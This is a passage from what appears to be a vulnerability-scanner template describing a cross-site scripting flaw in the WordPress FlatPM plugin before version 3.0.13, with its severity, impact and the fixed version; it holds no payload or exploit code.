  severity: medium
  description: |
    WordPress FlatPM plugin before 3.0.13 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape certain parameters before outputting them back in pages, which can be exploited against high privilege users such as admin. An attacker can steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 3.0.13.
